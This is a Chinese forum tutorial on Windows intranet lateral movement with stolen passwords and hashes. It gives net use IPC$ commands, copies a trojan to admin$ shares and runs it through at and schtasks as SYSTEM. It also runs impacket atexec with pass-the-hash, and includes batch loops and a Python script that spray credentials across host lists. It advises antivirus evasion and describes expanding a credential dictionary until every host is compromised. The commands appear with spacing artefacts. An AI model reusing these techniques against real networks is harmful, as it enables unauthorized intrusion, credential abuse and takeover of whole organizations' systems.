-
-
内网渗透-密码传递
-
发表于: 2022-4-28 16:49 5250
-
利用密码传递
at&schtasks
在日常渗透中,我们在拿到入口点(Windows)之后,我们可以使用at&schtasks在目标内网利用密码传递,进行横向渗透。
- 获取主机/域主机权限
- minikatz获得密码(明文、hash)
- 信息收集用户名做字典
- 尝试链接
- 添加计划任务(at & schtasks)
- 执行文件木马、或者命令
windows 2012 以下 at
windows 2012 以上 schtasks
利用流程
- 建立IPC连接到目标主机
- 拷贝要执行的命令脚本到目标主机
- 查看目标时间,创建计划任务(at schtasks)定时执行copy到的脚本
- 删除IPC
建立IPC失败原因
1 2 3 4 5 | 1. 你的系统不是NT或以上操作系统. 2. 对方没有打开ipc$默认共享。 3. 不能成功连接目标的 139 , 445 端口. 4. 命令输入错误. 5. 用户名或密码错误. |
常见错误
1 2 3 4 5 6 7 8 | 1. 错误号 5 ,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限; 2. 错误号 51 ,Windows 无法找到网络路径 : 网络有问题; 3. 错误号 53 ,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤); 4. 错误号 67 ,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$; 5. 错误号 1219 ,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。 6. 错误号 1326 ,未知的用户名或错误密码 : 原因很明显了; 7. 错误号 1792 ,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况) 8. 错误号 2242 ,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。 |
建立IPC空连接
1 | net use \\xx.xx.xx.xx\ipc$ " " /user:" " |
建立完整的用户名,密码连接:
1 2 3 | net use \\xx.xx.xx.xx\ipc$ "password" / user: "username" net use \\xx.xx.xx.xx\ipc$ "password" / user:域名\ "username" net use \\ 192.168 . 3.25 \ipc$ "admin!@#45" / user:god\mary |
映射路径:
1 | net use z: \\xx.xx.xx.xx\c$ "密码" / user: "用户名" (即可将对方的c盘映射为自己的z盘,其他盘类推) |
删除
1 2 3 4 5 6 7 8 | net use z: \\xx.xx.xx.xx\c$ #直接访问 net use c: / del 删除映射的c盘,其他盘类推 net use * / del 删除全部,会有提示要求按y确认 net use \\xx.xx.xx.xx\ipc$ / del dir \\xx.xx.xx.xx\c$ 列文件 copy \\xx.xx.xx.xx\c$\ 1.bat 1.bat 下载 1.bat copy 1.bat \\xx.xx.xx.xx\C$ 复制文件 net view xx.xx.xx.xx 查看对方共享 |
过程
1 2 | C:\>net use \\xx.xx.xx.xx\IPC$ "admin" / user: "admintitrators" 用户名是administrators,密码为 "admin" 的IP地址,如果是打算攻击的话,就可以用这样的命令来与xx.xx.xx.xx建立一个连接,因为密码为 "admin" ,所以第一个引号处输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。 |
1 2 | C:\>copy text.exe \\xx.xx.xx.xx\admin$ 先复制text.exe上去,目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了) |
1 2 3 4 | C:\>net time \\xx.xx.xx.xx 查查时间,发现xx.xx.xx.xx 的当前时间是 2021 / 2 / 8 上午 11 : 00 ,命令成功完成。 C:\>at \\xx.xx.xx.xx 11 : 05 text.exe 用at命令启动text.exe吧 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 | / S system 指定要连接到的远程系统。如果省略这个系统参数,默认是本地系统。 / U username 指定应在其中执行 SchTasks.exe 的用户上下文。 / P [password] 指定给定用户上下文的密码。如果省略则提示输入。 / RU username 指定任务在其下运行的“运行方式”用户 帐户(用户上下文)。对于系统帐户,有效 值是 " "、" NT AUTHORITY\SYSTEM" 或 "SYSTEM" 。 对于 v2 任务, "NT AUTHORITY\LOCALSERVICE" 和 "NT AUTHORITY\NETWORKSERVICE" 以及常见的 SID 对这三个也都可用。 / RP [password] 指定“运行方式”用户的密码。要提示输 入密码,值必须是 "*" 或无。系统帐户会忽略该 密码。必须和 / RU 或 / XML 开关一起使用。 / RU / XML / SC schedule 指定计划频率。 有效计划任务: MINUTE、 HOURLY、DAILY、WEEKLY、 MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT. / MO modifier 改进计划类型以允许更好地控制计划重复周期。有效值列于下面“修改者”部分中。 / D days 指定该周内运行任务的日期。有效值: MON、TUE、WED、THU、FRI、SAT、SUN 和对 MONTHLY 计划的 1 - 31 (某月中的日期)。通配符“ * ”指定所有日期。 / M months 指定一年内的某月。默认是该月的第一天。 有效值: JAN、FEB、MAR、APR、MAY、JUN、 JUL、 AUG、SEP、 OCT 、NOV 和 DEC。通配符 “ * ” 指定所有的月。 / I idletime 指定运行一个已计划的 ONIDLE 任务之前 要等待的空闲时间。 有效值范围: 1 到 999 分钟。 / TN taskname 指定唯一识别这个计划任务的名称。 / TR taskrun 指定在这个计划时间运行的程序的路径和文件名。例如: C:\windows\system32\calc.exe / ST starttime 指定运行任务的开始时间。 时间格式为 HH:mm ( 24 小时时间),例如 14 : 30 表示 2 : 30 PM。如果未指定 / ST,则默认值为 当前时间。 / SC ONCE 必需有此选项。 / RI interval 用分钟指定重复间隔。这不适用于 计划类型: MINUTE、HOURLY、 ONSTART, ONLOGON, ONIDLE, ONEVENT. 有效范围: 1 - 599940 分钟。 如果已指定 / ET 或 / DU,则其默认值为 10 分钟。 / ET endtime 指定运行任务的结束时间。 时间格式为 HH:mm ( 24 小时时间),例如, 14 : 50 表示 2 : 50 PM。 这不适用于计划类型: ONSTART、 ONLOGON, ONIDLE, ONEVENT. / DU duration 指定运行任务的持续时间。 时间格式为 HH:mm。这不适用于 / ET 和 计划类型: ONSTART, ONLOGON, ONIDLE, ONEVENT. 对于 / V1 任务,如果已指定 / RI,则持续时间默认值为 1 小时。 / K 在结束时间或持续时间终止任务。 这不适用于计划类型: ONSTART、 ONLOGON, ONIDLE, ONEVENT. 必须指定 / ET 或 / DU。 / SD startdate 指定运行任务的第一个日期。 格式为 yyyy / mm / dd。默认值为 当前日期。这不适用于计划类型: ONCE、 ONSTART, ONLOGON, ONIDLE, ONEVENT. / ED enddate 指定此任务运行的最后一天的日期。 格式是 yyyy / mm / dd。这不适用于计划类型: ONCE、ONSTART、ONLOGON、ONIDLE。 / EC ChannelName 为 OnEvent 触发器指定事件通道。 / IT 仅有在 / RU 用户当前已登录且 作业正在运行时才可以交互式运行任务。 此任务只有在用户已登录的情况下才运行。 / NP 不储存任何密码。任务以给定用户的身份 非交互的方式运行。只有本地资源可用。 / Z 标记在最终运行完任务后删除任务。 / XML xmlfile 从文件的指定任务 XML 中创建任务。 可以组合使用 / RU 和 / RP 开关,或者在任务 XML 已包含 主体时单独使用 / RP。 / V1 创建 Vista 以前的平台可以看见的任务。 不兼容 / XML。 / F 如果指定的任务已经存在,则强制创建 任务并抑制警告。 / RL level 为作业设置运行级别。有效值为 LIMITED 和 HIGHEST。默认值为 LIMITED。 / DELAY delaytime 指定触发触发器后延迟任务运行的 等待时间。时间格式为 mmmm:ss。此选项仅对计划类型 ONSTART, ONLOGON, ONEVENT. / ? 显示此帮助消息。 |
创建任务
1 | schtasks / create / s xx.xx.xx.xx / ru "SYSTEM" / tn adduser / sc DAILY / tr c:\add.bat |
执行任务
1 | schtasks / run / s xx.xx.xx.xx / tn adduser / i 运行这个任务 |
删除任务
1 | schtasks / delete / s xx.xx.xx.xx / tn adduser / f |
使用第三方工具,自带提权
1 2 3 4 5 6 7 8 9 10 | D:\>atexec.exe tencent / administrator: 123 @.com@ 10.0 . 0.1 "whoami" Impacket v0. 9.17 - Copyright 2002 - 2018 Core Security Technologies [!] This will work ONLY on Windows > = Vista [ * ] Creating task \WqukoWZX [ * ] Running task \WqukoWZX [ * ] Deleting task \WqukoWZX [ * ] Attempting to read ADMIN$\Temp\WqukoWZX.tmp [ * ] Attempting to read ADMIN$\Temp\WqukoWZX.tmp nt authority\system # 权限为system |
1 2 3 4 5 | impacket工具包,里面很多内网用到的工具 这个工具注意免杀 atexec.exe . / administrator: 123 @.com@ 10.0 . 0.1 "whoami" atexec.exe tencent / administrator: 123 @.com@ 10.0 . 0.1 "whoami" atexec.exe - hashes :ccef208c6485269c20db2cad21734fe7 . / administrator@ 10.0 . 0.1 "whoami" |
批量建立IPC链接
1 2 3 4 | FOR / F % % i in (ips.txt) do net use \\ % % i\ipc$ "admin!@#45" / user:administrator #批量检测IP对应明文连接 FOR / F % % i in (ips.txt) do atexec.exe . / administrator:admin!@ #45@%%i whoami #批量检测IP对应明文回显版 FOR / F % % i in ( pass .txt) do atexec.exe . / administrator: % % i@ 10.0 . 0.1 whoami #批量检测明文对应IP回显版 FOR / F % % i in ( hash .txt) do atexec.exe - hashes : % % i . / administrator@ 10.0 . 0.1 whoami #批量检测HASH对应IP回显版 |
程序运行结束net use
查看建立了哪些连接,剩下的就是使用自带命令at&schtasks
上传脚本进行控制。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | net use \\ 192.168 . 3.32 \ipc$ admin!@ #45 /user:g0od\dbadmin #pip install pyinstaller #pyinstaller -F fuck_neiwang_001.py 生成可执行EXE import os,time ips = { '192.168.3.21' , '192.168.3.25' , '192.168.3.29' , '192.168.3.30' , '192.168.3.31' , '192.168.3.33' } users = { 'Administrator' , 'boss' , 'dbadmin' , 'fileadmin' , 'mack' , 'mary' , 'vpnadm' , 'webadmin' } passs = { 'admin' , 'admin!@#45' , 'Admin12345' } for ip in ips: for user in users: for mima in passs: exec = "net use \\"+ " \\" + ip + '\ipc$ ' + mima + ' /user:god\\' + user print ( '--->' + exec + '<---' ) os.system( exec ) time.sleep( 1 ) |
以上操作都是在我们知道用户和密码的情况下进行验证的,前期除了收集明文密码HASH等,还收集了用户名,用户名配合密码字典,进行上面的批量验证
1 2 3 4 5 | 主机A 收集主机A的用户名和密码 组成字典 主机B 用主机A的用户信息验证是否可以登录到主机B,如果可以登录在收集主机B的用户信息,将信息添加到上面的字典里。 主机C 用上面的字典验证是否可以登录到主机C,如果可以登录依旧收集相关信息添加到字典中 不断重复上面步骤,收集的信息越多字典越大,我们验证成功的可能性越大,实现从获得 1 台主机到内网中所有主机的操作 |
工具地址
[https://gitee.com/RichChigga/impacket-examples-windows](https://gitee.com/RichChigga/impacket-examples-windows)
赞赏
他的文章
看原图
赞赏
雪币:
留言: